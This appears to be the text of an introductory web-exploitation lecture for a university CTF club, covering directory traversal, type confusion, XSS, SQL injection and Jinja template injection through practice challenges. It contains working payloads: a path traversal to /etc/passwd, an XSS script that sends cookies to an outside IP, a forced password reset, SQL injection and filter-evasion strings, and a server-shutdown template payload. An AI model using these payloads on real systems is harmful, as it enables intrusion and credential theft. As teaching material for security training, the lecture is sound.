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Introduction to

Web Exploitation

Matthew Savage

@bluepichu

Zach Wade

@zwad3

Carolina Zarate

@zaratec4

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Thank You

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Today’s Topics

  • Who are we?
  • Web Application Structure
  • Directory Traversal
  • Type Confusion
  • Cross-site Scripting (XSS)
  • SQL Injection

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What is PPP?

https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning

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What are CTFs?

​

Security competitions where the goal is to find a hidden flag 🏁

flag{you_f0und_m3!}

  • Different styles
    • Attack-defense: attack others, defend yourself
    • Jeopardy: different categories, different point values
  • Different skills
    • Binary exploitation, reverse engineering, crypto, forensics, ...
    • … and web exploitation!

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What is web security?

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Web Security in Four Words:

​

Don’t trust user input.

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Get Pwning

​

http://problems.getpwning.com:8000/

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Web Application Structure

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Client: Runs code locally in your browser

Reverse Proxy: Determines to which server the client connects

Server: Hosts the main application logic

Database: Stores application and user data

Client

Server B

Server C

Server A

Reverse

Proxy

Database

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Directory Traversal

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Directory Traversal

  • Our goal is to get more information than is presented to a client
  • In this case, we learn what is on the server
  • Two main methods: static and dynamic

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Directory Traversal Âť Static

http://chal.ctf.io:1337/secure/default.php

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Directory Traversal Âť Static

If we’re lucky, this will get us an index!

http://chal.ctf.io:1337/secure/default.php

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Directory Traversal Âť Static

Don’t forget to check this too!

If we’re lucky, this will get us an index!

http://chal.ctf.io:1337/secure/default.php

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Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=hello.png

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Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=hello.png

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Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../flag.txt

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Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../../../../../../etc/passwd

This is fun, but what if we want to know what the server is doing?

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Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../getimage.php

Now things are getting interesting...

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Directory Traversal Âť Get Pwning

​

http://problems.getpwning.com:8000/lfi

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Type Confusion

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Type Confusion

Question: How do we attack servers?

  • Logic bugs
    • No standard way of finding these other than reading the code
  • SSRF
    • A technique for convincing the server to speak with other services
    • Cool, but complicated
  • Type Confusion
    • When servers assume data looks a certain way, they make mistakes

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Type Confusion Âť Parameter Abuse

  • Servers sometimes act strangely if we specify the same GET parameter multiple times

​

http://target.site.com/login.php?user=myuser

$GET[“user”] → “myuser” (a string)

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Type Confusion Âť Parameter Abuse

  • Servers sometimes act strangely if we specify the same GET parameter multiple times

​

http://target.site.com/login.php?user=myuser&user=admin

$GET[“user”] → [“myuser”, “admin”] (an array)

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Type Confusion Âť Parameter Abuse

  • Many servers also automatically expand arrays and objects specified via get parameters

​

​

http://target.site.com/array.js?arg[0]=0&arg[1]=1&arg[2]=2

​

req.params.arg → [“0”, “1”, “2”] (an array)

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Type Confusion Âť Parameter Abuse

  • Many servers also automatically expand arrays and objects specified via get parameters

​

​

http://target.site.com/object.js?obj[key1]=value1&obj[key2]=value2

​

req.params.obj → {key1: “value1”, key2: “value2”} (an object)

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Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • Which of these are true? (Javascript)
    • 4 + "4" == 8
    • 4 * "4" == 16
    • [0] == ![0]
    • [1] == ![1]
    • Array.isArray `test`
    • Array.isArray(`test`)
    • {} + [] == {} + []

​

false

true

true

false

true

false

false

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Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • What does this print?
    • $a = “5d9”; $a++; $a++; echo $a;

​

​

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Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • What does this print?
    • $a = “5d9”; $a++; $a++; echo $a;
    • “5d9” “5e0” “6”

​

​

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Type Confusion Âť Get Pwning

​

http://problems.getpwning.com:8000/type

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Cross-Site Scripting (XSS)

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Cross-Site Scripting (XSS)

  • Attacking servers is nice, but sometimes we want to attack the users instead
    • Steal credentials (in particular, cookies)
    • Access private computers
  • Many of the things we might want to have a client do are exposed via Javascript
    • Making external web requests
    • Sending cookies

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Cross-Site Scripting (XSS) Âť Cookies

​

  • Cookies store persistent information
    • Usually for authentication
    • Sometimes for secrets

​

client> Please log me in as zaratec

Sure. Store the value token=xyz so I know who you are <server

client> Ok, now get me /mypage. I am zaratec and my token is xyz

Yep, I know you must be zaratec. Here’s her page <server

​

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Cross-Site Scripting (XSS) Âť Finding Injections

  • Short Version
    • Copy and Paste <script>alert(1)</script> into every text box
    • Want our text input placed directly in the resulting page
  • Look for unsanitized input
    • Example sanitization: Replacing < with &lt; and > with &gt;
    • We want places where our input is injected directly
  • No Script? No Problem
    • <img src="1" onerror="alert(1)"/>

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Cross-Site Scripting (XSS) Âť If we had control...

Send Credentials (Cookies)

<script>

fetch(`http://1.2.3.4/?${document.cookie}`)

</script>

Make a Request

<script>

fetch(“/reset-password.php”, {

method: “POST”,

headers: {

“Content-Type”: “x-www-form-urlencoded”

},

body: “new_pass=zachpwn&confirm=true”,

})

</script>

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Cross-Site Scripting (XSS) Âť The Two Types

​

Reflected XSS

Unsanitized user input is returned immediately without being stored on the target

  • Generally easier to find
  • Useful for targeted attacks

Persistent XSS

Unsanitized user input is stored in a database and is seen by everyone who visits the page

  • Generally harder to find
  • Useful for attacking all visitors

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Cross-Site Scripting (XSS) Âť CSP

Content Security Policy (CSP) is used to mitigate XSS attacks

  • Usually only want specific resources (images, javascript, etc)
  • CSP directives limit where those resources can come from
    • none: Blacklist this resource
    • self: Whitelist the current website
    • http://example.com: Whitelist example.com
  • Mix and match directives!

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Cross-Site Scripting (XSS) Âť Get Pwning

​

http://problems.getpwning.com:8000/xss

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SQL Injection

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SQL Injection

​

At this point, we’ve attacked:

  • Reverse Proxies (Directory Traversal)
  • Servers (LFI)
  • Clients (XSS)

What’s left? Databases!

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SQL Injection Âť Example Queries

​

​

INSERT INTO Users (username, password) VALUES ('zwad3', 'zachpwn')

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

UPDATE Users SET password = 'greatpasswdm8' WHERE username = 'zwad3'

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

zwad3

zachpwn

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = '' hi' AND password = 'zachpwn'

If we’re lucky, the server sends an error back to the client.

If we’re luckier, that error contains the source query.

' hi

zachpwn

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SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' -- ' AND password = 'zachpwn'

' --

zachpwn

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = '' OR 1 = 1-- ...

Depending on how the server was written, this might log us in as the first user.

' OR 1 = 1--

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = '' OR 1 = 1 LIMIT 1-- ...

This should log us in as the first user.

' OR 1 = 1 LIMIT 1--

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SQL Injection Âť Breaking out of SELECT

​

​

SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...

This can help us figure out how many columns the Users table has.

' UNION SELECT 'const', 'val'--

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SQL Injection Âť Security Antipatterns: Filtering

SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...

It looks like this quote is causing the problem. Why don’t we filter out quotes?

' UNION SELECT 'const', 'val'--

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SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

\

OR 1=1--

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SQL Injection Âť Evading Filters

​

​

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

Ok, that’s not enough. We’ll also remove the word “OR”.

\

OR 1=1--

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SQL Injection Âť Evading Filters

​

​

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

OORR 1=1--

OR 1=1--

\

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SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

OORR 1=1--

OR 1=1--

\

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SQL Injection Âť Secure SQL Queries

​

  • Building SQL queries “by hand” is prone to security holes
    • If you see this in a problem, be suspicious
  • Secure designs generally use prepared statements

$s = $db->prepare(“SELECT * FROM Users WHERE username = ? and password = ?”);

$s->execute(array(“zach”, “zachpwn”));

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SQL Injection Âť Blind SQL Injection

  • Everything we just did, but without any output if the query is invalid
  • Most injection problems will be at least partially blind
  • Generally need to guess if injection is possible and how to do it
    • Try injections on common query structures (for example, the structure we’ve been examining)
    • Add delays to the computation (through SLEEP or similar methods)

​

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SQL Injection Âť Blind SQL Injection

If we only have a yes or no result, we have to be more clever

​

  • We can go character by character to search for data

SELECT * FROM users WHERE username='' OR username LIKE 'a%'; -- '

  • Use binary search to speed up the process

SELECT * FROM users WHERE username='' OR SUBSTRING(username, 1, 1) < 'm'; -- '

​

​

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SQL Injection Âť Get Pwning

​

http://problems.getpwning.com:8000/sql

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Mini-CTF

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Instructions

​

  1. Form groups of three
  2. Make an account at getpwning.com or problems.getpwning.com
  3. Work together, solve challenges, and get flags!
  4. Come to "office hours"!
    • We're here to help if you get stuck, need clarification, or want to learn something new. 😃

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Want to Learn More?

​

PPP

  • Fridays 5pm @ CIC 1201
  • https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning

Practice

  • Google XSS Game
  • Damn Vulnerable Web App
  • Google Gruyere
  • HackThisSite
  • bWAPP
  • WebGoat
  • Hacker 101 CTF
  • Webhacking.kr
  • Websec.fr

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Web Languages

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Survey of Forms

Typical Server Languages

  • PHP
  • Python
  • JavaScript
  • Ruby
  • Bash

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Server Languages Âť PHP

  • PHP Hyper Processing (PHP)
    • Yes, it’s one of those
  • PHP is not a server
    • It is a server scripting language
    • Can render webpages and such, but does not handle any of the networking
    • Relies on Apache, Nginx, or some other frontend to capture that for it
  • Embeds the server script into the client script
    • Sounds cool, until you try to write anything secure in it

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Server Languages Âť PHP (Example Program)

<html>� <body>� <div class=’header’><?php echo get_header_value(); ?></div>� <div class=’content’>�<?php�$pages = db_get_pages();�foreach ($pages as $page) {� echo “<a href=’{$page[0]}’>{$page[1]}</a>”;�}�include ‘body.php’;�?>� <div class=’footer’>Thanks for coming!</div>� </body>�</html>

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Server Languages Âť PHP

  • What’s good about this method
    • Not a lot of overhead
    • Easy to draft a quick server without knowing much about networking
    • Easy to see the relationship between client and server

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Server Languages Âť PHP

  • What’s good about this method
    • Not a lot of overhead
    • Easy to draft a quick server without knowing much about networking
    • Easy to see the relationship between client and server
  • What’s wrong with this method
    • Essentially doing string replacement on your client code
    • Easy to make a server without knowing what you’re doing
    • There isn’t a clear delineation between client and server

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Server Languages Âť PHP

Because PHP is such a poorly designed language, there are a number of things to look for as potential vulnerabilities

  • XSS-able string replacements
  • LFI from http:// vs. file:// ambiguity
  • SQL Injection from building SQL strings
  • Logical Errors (filters, implicit type casting, poor error handling, etc.)

(Basically, PHP is the kitchen sink of vulnerabilities)

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Server Languages Âť Python

Servers, in my Python? � ...It’s more common than you think!

  • Python has only very simple HTTP capabilities
    • HTTPServer is a subclass of TCPServer, and can handle basic requests and response
  • Most servers are written using a more fully featured library
    • Flask
    • Django

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Server Languages Âť Python (Example Program)

from flask import Flask, send_from_directory�app = Flask(__name__)��@app.route(‘/<path:path>’)�def send_file(path):� return send_from_directory(‘/assets’, path)�@app.route(‘/’)�def hello_world():� return “<h1>Hello World</h1>”�app.run(host=’0.0.0.0’, port=1234)

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Server Languages Âť Python

Python Servers tend to be

  • More powerful
    • Server side templating, complex database queries, and much more
  • More modular
    • Python’s mature module system makes it easier to break a server in many parts
  • More complicated
    • Not quite as simple as PHP, but generally more secure

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Server Languages Âť Python

Among the most common security vulnerabilities in Python, because of its maturity as a language, is template injection

  • Results from improperly using jinja2
    • It will automatically pull variables in from the global environment
  • Allows you to exfiltrate data from the program’s scope
    • __name__, __file__, FLAG, etc.

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Server Languages Âť Python (Template Injection)

Correct Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. {{ userinp }}”�render_template_string(template, opt1=”file”, opt2=”static string”, userinp=???)

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Server Languages Âť Python (Template Injection)

Incorrect Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)

​

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Server Languages Âť Python (Template Injection)

Incorrect Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)

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Server Languages Âť Python (Template Injection)

What if userinp = “{{ opt1 }}”?

Then opt1 is rendered twice...

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Server Languages Âť Python (Template Injection)

What if userinp = “{{ request.environ['werkzeug.server.shutdown']() }}”?

Then that becomes a lot worse

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Server Languages Âť Python (Template Injection)

What does template injection give us

  • Access to jinja2 globals
    • You can read what’s in here in the documentation
  • Access (sometimes) to Flask globals
    • This includes the config object, which has functions likeďż˝from_object which lets you import an object into the config
    • Once we do that, we have access to the object

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Server Languages Âť Ruby

  • Not super popular for CTF problems
  • Strange language-specific bugs
    • Example: If you can read an arbitrary file, you can execute anything you want using a pipe (“|”)

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Server Languages Âť Node.js

  • Not popular yet, but catching on
  • Comparatively safe (lots of security-related updates, good design patterns)

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WEB-251:

Great Not-So-Theoretical

Ideas in Web Exploitation

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WEB-251 Âť Overview of HTTP

  • Hypertext Transfer Protocol (HTTP)
  • Used for transmitting content across the web
  • Operates over TCP
  • Two Parts
    • Headers
    • Body
  • Different Operations — Methods
    • Post, Get, Put, Delete, etc.

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WEB-251 Âť Example HTTP Request

GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com

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WEB-251 Âť Example HTTP Response

GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com

HTTP 200 Ok�Date: Fri, 18 Nov 2016 21:42:32 GMT�Content-Length: 29661�Content-Type: text/html��<html><head><link rel=’stylesheet’ href=’/styles.css’></head>�<body>....�

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WEB-251 Âť Helpful Headers

  • HTTP requests and responses contain headers with a variety of important content
  • Clients have control over request headers, and therefore request headers constitute another attack vector
    • Example: X-Forwarded-For
  • Server-controlled response headers may contain extra information that can be helpful in attacking them
    • Example: X-Powered-By

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WEB-251 Âť Timing Attacks

  • Response content isn’t the only information we get from the server!
  • In particular, we can also learn a lot from its response times
    • For example, comparing “abcdefghijkl” with “abcdefgxxxx” will, in most implementations, take longer than comparing it with “xxxxxxxx”
  • Random noise makes it hard to use this to our advantage unless we can purposely make the server take longer in certain scenarios
    • Directly sleeping
    • Regex explosion